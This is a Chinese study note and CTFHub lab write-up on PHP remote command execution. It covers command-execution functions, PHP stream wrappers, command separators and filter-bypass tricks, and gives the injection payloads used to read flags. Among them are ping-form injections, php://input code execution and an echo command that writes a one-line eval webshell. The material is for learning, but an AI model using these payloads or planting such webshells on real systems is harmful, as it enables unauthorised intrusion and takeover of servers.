RCE
关于RCE
远程命令/代码执行漏洞,简称RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口、
系统命令执行函数:
system()
——system( string $command [, int &$return_var ] )
:$command为执行的命令,&return_var可选,用来存放命令执行后的状态码,函数执行有回显,将执行结果输出到页面上passthru()
——和它楼上一样exec()
——exec( string $command [, array &$output [, int &$return_var ]] )
:$command是要执行的命令,$output是获得执行命令输出的每一行字符串,$return_var用来保存命令执行的状态码(检测成功或失败),exec()函数执行无回显,默认返回最后一行结果,可以用echo输出shell_exec()
——shell_exec( string &command)
:&command是要执行的命令,shell_exec()函数默认无回显,通过 echo 可将执行结果输出到页面,shell_exec() 函数实际上仅是反引号`` `操作符的变体,当禁用shell_exec时, 反引号也不可执行- 关于反引号:php中称之为执行运算符,PHP将反引号中的内容作为 shell 命令来执行,并将其输出信息返回
popen()
——popen ( string $command , string $mode )
:函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读和写,函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行,popen()打开一个指向进程的管道,该进程由派生给定的command命令执行而产生,此指针可以用于fgets(),fgetss()和 fwrite()——就当成C语言的文件指针理解吧还是放代码好理解一点
<?php $test = "ls /tmp/test"; $fp = popen($test,"r"); //popen打一个进程通道 while (!feof($fp)) { $out = fgets($fp, 4096); //从通道里面取得东西 echo $out; //打印出来 } pclose($fp); ?>
proc_open()
——proc_open (string $cmd ,array $descriptorspec ,array &$pipes [, string $cwd [, array $env [, array $other_options ]]])
:与Popen函数类似,但是可以提供双向管道来看代码
<?php $test = "ipconfig"; $array = array(array("pipe","r"), //标准输入 array("pipe","w"), //标准输出内容 array("pipe","w") //标准输出错误 ); $fp = proc_open($test,$array,$pipes); //打开一个进程通道 echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容 proc_close($fp); ?>
pcntl_exec()
——pcntl_exec ( string $path [, array $args [, array $envs ]] )
:path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本,args是一个要传递给程序的参数的字符串数组- pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作
- pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0
关于PHP伪协议
PHP 伪协议是 PHP 支持的协议与封装协议,几个 PHP 支持的伪协议如下:
伪协议 | 功能 |
---|---|
file:// | 访问本地文件系统 |
http:// | 访问 HTTP(s) 网址 |
php:// | 访问各个输入/输出流 |
phar:// | PHP 归档 |
zip:// | 压缩流 |
file伪协议
php://input
用于访问问请求的原始数据的只读流,可以读取POST请求的参数- 例如在 allow_url_include = on 时服务器上有个文件叫 index.php,且存在文件包含漏洞,这个时候就能用 php 伪协议直接把文件显示出来
- ?file=php://filter/read=convert.base64-encode/resource=index.php
php://filter/
是一种访问本地文件的协议,/read=convert.base64-encode/
表示读取的方式是 base64 编码后(不编码php可能会直接执行),resource=index.php表示目标文件为index.php
data伪协议
php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。使用方法为:
data://text/plain;base64,xxxx
——xxxx指(base64编码后的数据)
关于命令连接符
- windows
|
——前语句为真则执行后边的语句,前语句为假则直接报错后边不执行||
——如果前面的语句执行出错,则执行后面的语句,前语句为真仅执行前面的语句&
——前后的语句均可执行,但是前面的语句如果执行结果为假(即执行失败),则仅输出后面语句的结果&&
——如果前面的语句为假,则直接报错,也不执行后面的语句,前语句为真则前后都执行
- linux
;
——按顺序执行语句|
将前边的命令输出作为后边命令的输入,前后都会执行,但是只显示后边命令的执行结果||
如果前面的语句执行失败,则执行后面的语句,如果前面的语句执行成功,则不执行后面的语句&
作用是使得命令在它后边运行,这样就可以同时执行多条命令&&
如果前边的命令执行成功,则执行后边的命令
关于ping命令
- ping (Packet Internet Groper),因特网包探索器,用于测试网络连接量的程序,ping命令发送数据使用的是ICMP协议
- Ping发送一个ICMP,回声请求消息给目的地并报告是否收到所希望的ICMP echo(ICMP回声应答),它是用来检查网络是否通畅或者网络连接速度的命令
- ping命令可以用来作为网络可用性的检查,ping命令可以对一个网络地址发送测试数据包,看该网络地址是否有响应并统计响应时间,以此测试网络连接及主机是否可达
- ICMP协议是“Internet Control Message Protocol”(因特网控制消息协议)的缩写,它是TCP/IP协议族的一个子协议,用于IP主机、路由器之间传递控制消息
关于命令执行各种绕过
cat被过滤时(其实还是靠对各种命令的熟悉)
more #一页一页的显示档案内容 less #与 more 类似 head #查看头几行 tac #从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail #查看尾几行 nl #显示的时候,顺便输出行号 od #以二进制的方式读取档案内容 sort #可以查看 uniq #可以查看 //vi #一种编辑器,这个也可以查看 //vim #一种编辑器,这个也可以查看 //file -f #报错出具体内容 //sh /flag 2>%261 #报错出文件内容 #使用转义符号 ca\t /fl\ag cat fl''ag #拼接法 a=fl;b=ag;cat$IFS$a$b #使用空变量$*和$@,$x,${x}绕过 ca$*t flag || ca$@t flag || ca$5t flag ca${5}t flag find #列出当前目录下的文件以及子目录所有文件
过滤空格
cat<flag #重定向符 cat${IFS}flag || cat$IFS$9flag #全局变量 #$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果 #然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用, #为什么要用$9呢,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串
过滤目录分割符
#采用多管道命令绕过 127.0.0.1||cd flag_is_here;cat flag_262431433226364.php %0a #换行符 %0d #回车符号 用?>代替 ; #在php中可以用?>来代替最后的一个; ,因为php遇到定界符关闭标签会自动在末尾加上一个分号
CTFHub——RCE
eval执行
- eval老朋友了,最近遇到好多次,一个很常见的PHP函数,把字符串按照 PHP 代码来计算
- 要求传入一个cmd参数并作为代码执行——
?cmd=system("ls /");
||?cmd=system("ls ../../../");
- 用到了之前学的Linux命令——
ls
(列出目录及文件名)和cat
(顺序打印文件)- 然后可以看到当前目录啥也没有,然后就回退回退回退,找到了一个名字带着flag的文件,然后cat
文件包含
- 文件包含是指编译器进行预处理时复制指定的文件内容代替源文件中预处理命令的过程,一个源文件可以将另一个源文件的全部内容包含进来
- 通俗一点:开发人员将用到的代码转换成一个文件,让每一个用到它的代码都包含在里面,而无需再次编写,这种调用文件的过程一般被称为包含文件,由于这种灵活性,从而导致客户端可以调用任意恶意文件,从而造成文件包含漏洞
- 因为之前在文件上传里碰到过文件包含,所以我就用蚁剑连了一下
- 然后在根目录找到了flag
说说另一种做法
- 根据给你看的源码,可以get方式传入一个file参数,加上提示了shell.txt,因此传参
?file=shell.txt
- 然后点开shell.txt,能看到是个一句话木马,然后传参
?ctfhub=system("ls /");
后边可以自己想象了- 然后就是那个命令后边的引号真的很重要啊!!!一开始忘记这事儿死活打印不出目录😭…发现上边的wp我甚至也没有打引号
php://input
- php://input是php输入流,用于执行php代码
- 日常后悔二阶段没好好学PHP
- get先传进去一个
?file=php://input
- bp抓包,前边传参方式改成POST(其实试了一下改不改都一样),加上一行
<?php system("cat /flag"); ?>
- …不知道为啥用hackbar不行
读取源代码
- 看到读取源码想到了我学了一点就丢下的SSRF,于是想到了php伪协议
- 不出我所料就是这样,提示了flag is in /flag
- 传参?
file=php://filter/read=convert.base64-encode/resource=/flag
,然后base64解码
远程包含
- 跟它楼上的楼上一模一样
- 找到一种大佬做法,感觉才理解什么是远程包含:大佬是在file里传了一个url,然后是自己本地的代码,然后被执行得到flag
命令注入
命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞,该类漏洞通常出现在调用外部程序完成一些功能的情景下,比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞
- 一个ping的页面,然后说了什么都没有过滤,直接写入
127.0.0.1||ls
- 找到两个php文件,
127.0.0.1||cat index.php
- 先看了一下index.php,啥也没有,然后看了一下1908068656230.php竟然没回显?????????/
- 查看源码找到flag,或者跟上边一样用base64编码回显
- 看到一种高级的做法,是写入了一句话木马然后用蚁剑连接
- 写入
echo -e "<?php @eval(\$_POST['test']);?>" > 123.php
- 需要注意echo命令会调用$_POST导致原始文件中没有,因此需要加上
-e
并在$_POST
前加/
过滤cat
- 太实诚了,真就只过滤了cat,tac还能用
127.0.0.1||ls
——找到了flag_31451262553332.php127.0.0.1||tac flag_31451262553332.php
——查看源码得到flag- 或者
127.0.0.1||tac|base64 flag_31451262553332.php
,解码得到flag
过滤空格
127.0.0.1||ls
找到了flag_14446108964382.php127.0.0.1||cat<flag_14446108964382.php
,得到flag,其它绕过方式在上边
过滤目录分隔符
127.0.0.1||ls
找到了一个目录:flag_is_here,然后127.0.0.1||ls flag_is_here
找到了flag_269762648515759.php- 因为过滤了目录分隔符,所以可以先cd到这个文件夹中,然后cat:
127.0.0.1|| cd flag_is_here;cat flag_269762648515759.php
过滤运算符
- 过滤了
| & / \
但是没有过滤;
;ls
找到flag_2364320229302.php;cat flag_2364320229302.php
得到flag
综合过滤练习
- 过滤了这么多
/(\||&|;| |\/|cat|flag|ctfhub)/
😭- 127.0.0.1%0als找到文件夹flag_is_here
- 因为flag也被过滤了
127.0.0.1%0als${IFS}fla$5g_is_here
127.0.0.1%0acd${IFS}fla$3g_is_here%0atac${IFS}fla$9g_95741165210297.php
,查看源码得到flag
- 这里需要注意的就是
%0a
,我在上边过滤空格还是什么的时候试了一下不能用- 现在找到原因是我在页面的输入框写入的,然后因为在url里会被编码所以用不了,直接在url里写就行了
- 然后说到这个%0a和%0d,我说好熟悉的样子,看CRLF的时候看到了,但是没记住(甚至没记),果然学东西还是要细致一点